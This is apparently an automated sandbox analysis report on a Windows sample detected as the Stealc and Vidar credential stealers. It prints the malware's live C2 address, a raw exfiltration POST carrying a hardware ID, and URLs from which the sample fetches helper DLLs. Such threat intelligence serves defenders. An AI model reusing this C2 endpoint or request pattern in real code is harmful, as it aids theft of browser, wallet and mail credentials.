Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528875
MD5:	f3ace806eb44f5df3eaaa6bc01b76a71
SHA1:	a14c9a7c01841034e1841e76f7c0ad8206269457
SHA256:	23c77621b13c2ffd425a4781c3ba1abca12e038589471feafa460c8f3c884236
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3372 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F3ACE806EB44F5DF3EAAA6BC01B76A71)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2372959579.000000000173E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2145141255.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3372	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3372	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3372	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3372	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.ee0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T11:18:18.958080+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49706	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T11:18:18.950894+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T11:18:19.187406+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T11:18:21.046946+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T11:18:19.253821+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49706	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T11:18:18.716628+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T11:18:21.500714+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:26.892348+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:28.032843+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:29.002988+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:29.602016+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:31.564286+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:32.334359+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHIIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 34 39 45 37 44 46 37 45 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="hwid"2549E7DF7E442409657292------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="build"doma------CFCFHJDBKJKEBFHJEHII--

Source: file.exe, 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2372959579.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000000.00000002.2372959579.0000000001797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll%P
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllsP
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll=Q
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllWP
Source: file.exe, 00000000.00000002.2372959579.0000000001781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllaQ
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllAP
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll0R
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3D
Source: file.exe, 00000000.00000002.2372959579.0000000001797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php7
Source: file.exe, 00000000.00000002.2372959579.0000000001797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php;
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpQ
Source: file.exe, 00000000.00000002.2372959579.0000000001797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php_8
Source: file.exe, 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpbird
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdllX
Source: file.exe, 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpinomi
Source: file.exe, 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2398430862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: EHDHIDAEHCFHJJJJECAA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2327676056.000000002FAE7000.00000004.00000020.00020000.00000000.sdmp, ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2327676056.000000002FAE7000.00000004.00000020.00020000.00000000.sdmp, ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2327676056.000000002FAE7000.00000004.00000020.00020000.00000000.sdmp, ECFCBKJDBFIJKFHIIDAAKKKKFC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C81B700
